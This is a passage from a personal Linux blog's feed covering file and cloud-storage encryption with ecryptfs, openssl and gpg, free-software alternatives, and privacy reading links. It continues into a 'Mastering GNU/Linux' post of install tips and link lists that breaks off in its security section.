&lt;h1 id="encrypt-what-you-put-on-cloud-storages"&gt;Encrypt what you put on Cloud Storages&lt;/h1&gt;
&lt;p&gt;This part is inspired from &lt;a href="http://haridas.in/how-to-put-encrypted-contents-on-cloud-storages.html"&gt;this blog post&lt;/a&gt;. &lt;strong&gt;I highly recommend encrypting content put online, should it be on proprietary platforms such as Google Drive ou Dropbox, or even on ownCloud.&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo apt-get install ecryptfs-utils
sudo modprobe cryptfs &lt;span class="c1"&gt;# Optional&lt;/span&gt;
mkdir ~/Dropbox/Encrypted &lt;span class="c1"&gt;# This directory will be put online; its content is encrypted&lt;/span&gt;
mkdir ~/SecureDropbox &lt;span class="c1"&gt;# You&amp;#39;ll put your unencrypted files here&lt;/span&gt;
sudo mount -t ecryptfs ~/Dropbox/Encrypted ~/SecureDropbox
&lt;span class="c1"&gt;# Choose a passphrase (which will act as a password), aes 32 bytes.&lt;/span&gt;
&lt;span class="c1"&gt;# Disable plaintext passthrough. Filename encryption might be useful. I would enable it.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Filename encryption might require another last command to be run, if your content is shared on more than one computer:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ecryptfs-add-passphrase --fnek
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="encrypt-one-single-file"&gt;Encrypt one single file&lt;/h1&gt;
&lt;h2 id="encryption"&gt;Encryption&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;openssl aes-256-cbc -in yourfile.txt -out file.enc
&lt;span class="c1"&gt;# OR&lt;/span&gt;
gpg -c filename
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="decryption"&gt;Decryption&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;openssl aes-256-cbc -d -in file.enc -out yourfile.txt
&lt;span class="c1"&gt;# OR&lt;/span&gt;
gpg filename.gpg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="free-alternatives-to-proprietary-software"&gt;Free alternatives to proprietary software&lt;/h1&gt;
&lt;h2 id="emails"&gt;Emails&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Thunderbird&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="web-browser"&gt;Web browser&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Mozilla Firefox&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="text-editor"&gt;Text editor&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Atom (&lt;s&gt;Sublime Text&lt;/s&gt; is proprietary)&lt;/li&gt;
&lt;li&gt;Vim or Emacs&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="video-editing"&gt;Video editing&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.shotcut.org/"&gt;Shotcut&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="graphics-editor"&gt;Graphics editor&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Gimp&lt;/li&gt;
&lt;li&gt;Inkscape (vector)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="further-reading"&gt;Further reading&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://blog.adminrezo.fr/2016/01/comment-choisir-sa-cle-ssh-rsa-dsa-ecdsa-ed25519/"&gt;Quelle clé SSH choisir ? RSA, DSA, ou Ed25519 ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://linuxfr.org/news/nsa-a-propos-de-bullrun"&gt;NSA - À propos de BULLRUN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=PFsC1puqhA4"&gt;How to Destroy a Laptop with Top Secrets [cccamp15]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://korben.info/comment-chiffrer-ses-emails-thunderbird-gpg.html"&gt;Comment chiffrer ses emails ? (Thunderbird + GPG)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://help.riseup.net/en/security/message-security/openpgp/best-practices"&gt;OpenPGP Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jenairienacacher.fr/"&gt;Je n'ai rien à cacher.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://framasoft.net/"&gt;Framasoft&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wiki.archlinux.org/index.php/Tmpfs"&gt;tmpfs&lt;/a&gt; &amp;amp; &lt;a href="http://korben.info/accelerez-votre-navigateur-en-mettant-son-cache-en-ram.html"&gt;Accélérez votre navigateur en mettant son cache en RAM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.ted.com/talks/glenn_greenwald_why_privacy_matters"&gt;Why privacy matters&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.codinghorror.com/your-password-is-too-damn-short/"&gt;Your Password is Too Damn Short&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://kacper.blog.redpill-linpro.com/archives/702"&gt;NSA-proof SSH&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stribika.github.io/2015/01/04/secure-secure-shell.html"&gt;Secure Secure Shell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nonblocking.info/cryptographie-de-comptoir/"&gt;Cryptographie de comptoir&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.guiguishow.info/2014/07/17/ma-premiere-vraie-cle-pgp/"&gt;Ma première (vraie) clé PGP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@vrypan/explaining-public-key-cryptography-to-non-geeks-f0994b3c2d5"&gt;Explaining public-key cryptography to non-geeks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://zythom.blogspot.fr/2015/12/le-noob-de-lautohebergement.html"&gt;Le noob de l'autohébergement&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ChALkeR/notes/blob/master/Do-not-underestimate-credentials-leaks.md"&gt;Do not underestimate credentials leaks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.27months.com/2013/10/its-always-sunny-in-iceland-or-how-i-nsa-proofed-my-email/"&gt;It’s Always Sunny in Reykjavik (or) How I NSA-Proofed my Email&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.whonix.org/wiki/DoNot"&gt;Things not to do on Tor&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jumpespjump.blogspot.fr/2015/09/how-i-hacked-my-ip-camera-and-found.html"&gt;The IoT may be dangerous! Beware!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/HTeuMeuLeu/status/719489886265454592"&gt;What every Browser knows about you&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://panopticlick.eff.org/"&gt;Panopticlick - Is your browser safe against tracking?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://amiunique.org/"&gt;Am I Unique?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.appcanary.com/2016/encrypt-or-compress.html"&gt;Should you encrypt or compress first?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.linux-magazine.com/Online/Features/Protect-your-Documents-with-GPG"&gt;Protect your Documents with GPG&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stallman.org/articles/why-fear-surveillance.html"&gt;Yes, You Have Something to Fear&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stallman.org/something-to-fear.html"&gt;Something to Fear&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://browserleaks.com/"&gt;BrowserLeaks.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://panopticlick.eff.org/"&gt;Panopticlick&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://someonewhocares.org/hosts/"&gt;how to make the internet not suck (as much)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/tbds/FreeContributor"&gt;Simple DNS Ad Blocker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jmdugan/blocklists"&gt;Shared lists of problem domains people may want to block with hosts files&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/StevenBlack/hosts"&gt;hosts: Extending and consolidating hosts files from several well-curated sources like adaway.org, mvps.org, malwaredomainlist.com, someonewhocares.org, and potentially others. You can optionally invoke extensions to block additional sites by category&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://korben.info/tout-ce-que-votre-navigateur-peut-balancer-sur-vous.html"&gt;Tout ce que votre navigateur peut balancer sur vous&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sebsauvage.net/wiki/doku.php?id=firefox"&gt;Paramétrage de Firefox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@FabioAEsteves/i-have-nothing-to-hide-why-should-i-care-about-my-privacy-f488281b8f1d"&gt;“I have nothing to hide. Why should I care about my privacy?”&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=djbwzEIv7gE"&gt;NOTHING TO HIDE documentaire (français, film complet HD)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://privacyinternational.org/node/1099"&gt;Through an app, darkly: How companies construct our financial identity&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vpnreport.org/"&gt;I tested the most recommended VPN providers using my credit card to find the best ones — and which ones you should avoid.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.imirhil.fr/2015/12/08/extensions-vie-privee.html"&gt;Extensions Firefox pour protéger sa vie privée&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://amiunique.org/tools"&gt;More extensions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sebsauvage.net/wiki/doku.php?id=firefox"&gt;Even more extensions + how to configure Firefox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://wiki.mozilla.org/Privacy/Privacy_Task_Force/firefox_about_config_privacy_tweeks"&gt;Privacy/Privacy Task Force/firefox about config privacy tweeks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://spreadprivacy.com/linux-privacy-tips/"&gt;How To Protect Your Privacy On Linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pi-hole.net/"&gt;Pi-hole&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.laquadrature.net/fr/temoin_cortana"&gt;Derrière les assistants vocaux, des humains vous entendent&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mydatarequest.com/"&gt;My Data Request&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/sdeleuze/status/1021655647442616322"&gt;Yesterday, I finished to switch to @ProtonMail by...&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=AOzkW2W6gfA"&gt;YOU ONLY LIVE ONLINE - Dries DEPOORTER - Web2day 2018&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.wired.com/story/mcsweeneys-excerpt-the-right-to-experiment/"&gt;Surveillance Kills Freedom By Killing Experimentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://motherboard.vice.com/amp/en_us/article/vba7xj/people-who-buy-smart-speakers-have-given-up-on-privacy-researchers-find"&gt;People Who Buy Smart Speakers Have Given Up on Privacy, Researchers Find&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.numerama.com/vroom/444440-en-chine-le-gouvernement-peut-geolocaliser-chaque-voiture-electrique-en-temps-reel.html"&gt;En Chine, le gouvernement peut géolocaliser chaque voiture électrique en temps réel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://motherboard.vice.com/en_us/article/j5zap3/delete-all-your-apps"&gt;Delete All Your Apps&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nytimes.com/interactive/2018/12/10/business/location-data-privacy-apps.html"&gt;Your Apps Know Where You Were Last Night, and They’re Not Keeping It Secret&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jeffreybigham.com/blog/2019/who-is-watching-you-in-your-airbnb.html"&gt;A Camera is Watching You in Your AirBnB: And, you consented to it.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/grugq/03167bed45e774551155"&gt;Operational PGP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://crackedlabs.org/en/corporate-surveillance/#1"&gt;Corporate Surveillance in Everyday Life&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nytimes.com/interactive/2019/04/10/opinion/internet-data-privacy.html"&gt;It's Time to Panic About Privacy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/s/oversight/online-privacy-isnt-dead-if-we-fight-for-it-ef586a27d9b7"&gt;Online Privacy Isn’t Dead—If We Fight for It&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pixelprivacy.com/resources/browser-fingerprinting/"&gt;Browser Fingerprinting: What Is It and What Should You Do About It?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://makandracards.com/makandra-orga/13644-what-to-do-when-your-gpg-pgp-key-expires"&gt;What to do when your GPG/PGP key expires&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Linux"></category><category term="privacy"></category><category term="security"></category><category term="linux"></category><category term="gnu"></category><category term="ssh"></category><category term="free software"></category><category term="open source"></category><category term="ubuntu"></category><category term="exerbo"></category><category term="xubuntu"></category></entry><entry><title>Mastering GNU/Linux</title><link href="https://romainpellerin.eu/mastering-gnu-linux.html" rel="alternate"></link><published>2016-02-02T00:50:00+01:00</published><updated>2022-09-24T15:41:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-02-02:/mastering-gnu-linux.html</id><summary type="html">&lt;p&gt;Everything you have ever wanted to know about GNU/Linux&lt;/p&gt;</summary><content type="html">&lt;p&gt;Everything you have ever wanted to know about GNU/Linux plus some troubleshooting tips I learned the hard way.&lt;/p&gt;
&lt;h1 id="installing-linux-on-a-dell-preinstalled-with-windows"&gt;Installing Linux on a Dell preinstalled with Windows&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;In Windows, disable Fast startup in Panel Control &amp;gt; Power &amp;gt; Action when button pressed.&lt;/li&gt;
&lt;li&gt;In the BIOS/UEFI, keep enabled SecureBoot&lt;/li&gt;
&lt;li&gt;You might want to enable 'SD card boot' in the BIOS under Boot &amp;gt; Miscellaneous devices if you use a SD card to install Linux&lt;/li&gt;
&lt;li&gt;If your SSD disk is a NVMe, it is possible that Linux can't see it. In such a case, in SATA operation, uncheck RAID and select AHCI. Also uncheck legacy Options ROMs (very important otherwise you will experience very slow boots, up to 10 min to access the BIOS). More information: &lt;a href="https://www.dell.com/community/General/Dell-XPS-13-9365-Won-t-boot-USB-in-SATA-Mode-AHCI-Trying-to/td-p/5119108/page/3"&gt;https://www.dell.com/community/General/Dell-XPS-13-9365-Won-t-boot-USB-in-SATA-Mode-AHCI-Trying-to/td-p/5119108/page/3&lt;/a&gt; and &lt;a href="https://bbs.archlinux.org/viewtopic.php?id=204629"&gt;https://bbs.archlinux.org/viewtopic.php?id=204629&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That's it. You should be able to install Linux on the entire disk now.&lt;/p&gt;
&lt;h1 id="upgrading-your-distribution-of-ubuntu"&gt;Upgrading your distribution of *Ubuntu&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo &lt;span class="k"&gt;do&lt;/span&gt;-release-upgrade
&lt;span class="c1"&gt;# OR&lt;/span&gt;
sudo update-manager -c
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://help.ubuntu.com/lts/serverguide/installing-upgrading.html"&gt;More information&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="gnulinux"&gt;GNU/Linux&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=ANA134vEhEI"&gt;Nom de code : Linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard"&gt;Filesystem Hierarchy Standard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jvns.ca/blog/2016/11/10/a-few-drawings-about-linux/"&gt;A few drawings about Linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mavielinux.com/2016/12/18/pourquoi-la-mascotte-de-linux-est-un-manchot/"&gt;Pourquoi la mascotte de Linux est un manchot?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=xqdWi6SblV8"&gt;Linux est ton meilleur ami (Pierre Antoine Grégoire - Olivier Robert - Nicolas Helleringer)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="free-software-foundation-open-source"&gt;Free Software Foundation / Open source&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.gnu.org/philosophy/free-software-for-freedom.html"&gt;Why “Free Software” is better than “Open Source”&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://remysharp.com/2015/01/09/dont-like-open-source"&gt;"Why I don't like open source" – my thoughts&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="installing-linux"&gt;Installing Linux&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://blog.adminrezo.fr/2013/05/que-faire-apres-linstallation-dun-serveur-debian/"&gt;Que faire après l’installation d’un serveur Debian ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.adminrezo.fr/2014/01/post-installation-ubuntu-kubuntu/"&gt;Que faire après l’installation de (U|k|x)buntu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sites.google.com/site/easylinuxtipsproject/first-xubuntu"&gt;10 things to do first in Xubuntu 14.04 LTS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://superuser.com/questions/419876/grub-reinstall-after-partition-name-change"&gt;grub reinstall after partition name change&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://bookmarks.romainpellerin.eu/?page=1"&gt;How do I disable the guest session?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://g.eckenschwiller.free.fr/Tutoriels/Installation/greffons_Xfce.php"&gt;Quelques greffons pour Xfce&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://xubuntugeek.blogspot.fr/2011/12/add-items-to-xfce-applications-menu.html"&gt;Add items to Xfce Applications Menu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/dfkt/firefox-tweaks"&gt;firefox-tweaks: attempt to make Firefox suck less&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/MichielDerhaeg/build-linux/blob/master/README.md"&gt;Build yourself a Linux&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="alongside-windows"&gt;Alongside Windows&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://help.ubuntu.com/community/UEFI"&gt;Windows 8+ dual boot on UEFI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.mercereau.info/reparer-grub-apres-une-installation-de-windows/"&gt;Réparer Grub après une installation de windows&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="the-whole-system"&gt;The whole system&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.clever-cloud.com/blog/engineering/2012/11/22/knowing-your-system-part-basics-on-unixlike-systems/"&gt;Knowing your system - Part 1 - Basis on UNIX-like systems&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://gfx.developpez.com/tutoriel/linux/kernel/"&gt;La compilation du noyau&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.linuxfromscratch.org/"&gt;Linux From Scratcg&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.blackmoreops.com/2015/06/18/linux-file-system-hierarchy-v2-0/"&gt;Linux file system hierarchy v2.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://fredrb.github.io/2016/10/01/Understanding-proc/"&gt;Understanding /proc&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="shells-terminals"&gt;Shells &amp;amp; Terminals&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://stackoverflow.com/questions/5163144/what-are-the-special-dollar-sign-shell-variables/5163260#5163260"&gt;What are the special dollar sign shell variables?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://stackoverflow.com/questions/2188199/how-to-use-double-or-single-bracket-parentheses-curly-braces"&gt;How to use double or single bracket, parentheses, curly braces&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mywiki.wooledge.org/BashFAQ/082"&gt;Why is $(...) preferred over &lt;code&gt;...&lt;/code&gt; (backticks)?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.shellcheck.net/"&gt;Shell script analyzer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://samrowe.com/wordpress/advancing-in-the-bash-shell/"&gt;Advancing in the Bash Shell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ddfreyne.github.io/til/2016/12-03-terminal-cursor-movement/"&gt;Moving the terminal cursor&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lambdaops.com/rm-rf-remains/"&gt;rm -rf remains&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.guntram.de/?p=164"&gt;The annoying alternate screen in vte-based terminal applications&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://st.suckless.org/"&gt;st - a simple terminal implementation for X&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vincent.bernat.im/en/blog/2017-write-own-terminal"&gt;Write your own terminal emulator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jvns.ca/blog/2017/03/26/bash-quirks/"&gt;Bash scripting quirks &amp;amp; safety tips&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.regehr.org/archives/1483"&gt;Fun at the UNIX Terminal Part 1&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="software"&gt;Software&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://putaindecode.fr/posts/shell/apprendre-les-makefiles/"&gt;Laissez-vous pousser la barbe, apprenez à écrire des Makefiles&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://monkey.org/~marius/unix-tools-hints.html"&gt;Hints for writing Unix tools&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://linrunner.de/en/tlp/tlp.html"&gt;TLP: battery optimizer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="commands-tips"&gt;Commands / tips&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://techblog.netflix.com/2015/11/linux-performance-analysis-in-60s.html"&gt;Linux Performance Analysis in 60,000 Milliseconds&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://korben.info/dintimite-lhistorique-bash.html"&gt;Pour avoir un peu d’intimité avec l’historique Bash&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zwischenzugs.com/2018/01/06/ten-things-i-wish-id-known-about-bash/"&gt;Ten Things I Wish I’d Known About bash&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zwischenzugs.com/2018/01/21/ten-more-things-i-wish-id-known-about-bash/"&gt;Ten More Things I Wish I'd Known About bash&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.binarytides.com/linux-commands-monitor-network/"&gt;18 commands to monitor network bandwidth on Linux server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://arthurdejong.org/recovery.html"&gt;Recovering hard drive disk problems&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://hacklab.cz/2012/04/22/usefulness-linux-framebuffer-virtual-console"&gt;Usefulness of the Linux Framebuffer on the Virtual Console&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://pythonhosted.org/pdftools.pdfposter/Examples.html"&gt;Print PDF on many pages&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.tjll.net/ssh-kung-fu/"&gt;SSH Kung Fu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lonesysadmin.net/2011/11/08/ssh-escape-sequences-aka-kill-dead-ssh-sessions/"&gt;SSH Escape Sequences (aka Kill Dead SSH Sessions)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://korben.info/utiliser-nano.html"&gt;NANO : Quelques raccourcis à retenir&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wiki.linux-france.org/wiki/Les_commandes_fondamentales_de_Linux"&gt;Les commandes fondamentales de Linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://nicodewaele.free.fr/Site/Stockage/Gnu-Linux/serveur-mail-postfix-courier-imap-ubuntu.pdf"&gt;Créer un serveur mail&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://nicodewaele.free.fr/Site/Stockage/Gnu-Linux/serveur-dns-bind.pdf"&gt;Un DNS avec Bind&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.bortzmeyer.org/unbound.html"&gt;Unbound, un autre résolveur DNS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zwischenzugs.com/2018/06/08/anatomy-of-a-linux-dns-lookup-part-i/"&gt;Anatomy of a Linux DNS Lookup – Part I&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://korben.info/long-didnt-read-pour-vos-man-pages.html"&gt;Too long; didn’t read pour vos man pages&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://askubuntu.com/questions/427818/how-can-i-run-this-sh-script-without-typing-the-full-path/527008#527008"&gt;Add a new command available in shell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://askubuntu.com/questions/22381/how-to-format-a-usb-flash-drive/571340#571340"&gt;How to format a USB flash drive?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/yudai/gotty"&gt;gotty: Share your terminal as a web application&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://crontab.guru/"&gt;crontab.guru&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.security-helpzone.com/rendre-linux-ecologique-gren-it-news-335.html"&gt;Rendre Linux écologique (green-it)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://majantali.net/2016/10/how-breakpoints-are-set/"&gt;HOW BREAKPOINTS ARE SET&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://korben.info/realiser-limage-dun-disque-dur-testdisk.html"&gt;Réaliser l’image d’un disque dur avec Testdisk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/chubin/wttr.in"&gt;The right way to check the weather http://wttr.in&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.lopezferrando.com/30-interesting-shell-commands/"&gt;30 interesting commands for the Linux shell&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="other-distros"&gt;Other distros&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/CBPP/cbpp"&gt;#!++, A CrunchBang revival project (very lightweight distro)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="security"&gt;Security&lt;/h1&gt;
&lt;p&gt;Generally, security is achieved on Linux with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Setting the right file permissions: &lt;code&gt;chmod&lt;/code&gt; + &lt;code&gt;chown&lt;/code&gt;) or with &lt;a href="https://help.ubuntu.com/community/FilePermissions#ACL_.28Access_Control_List.29"&gt;ACLs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;AppArmor (enabled by default on Ubuntu)&lt;/li&gt;
&lt;li&gt;
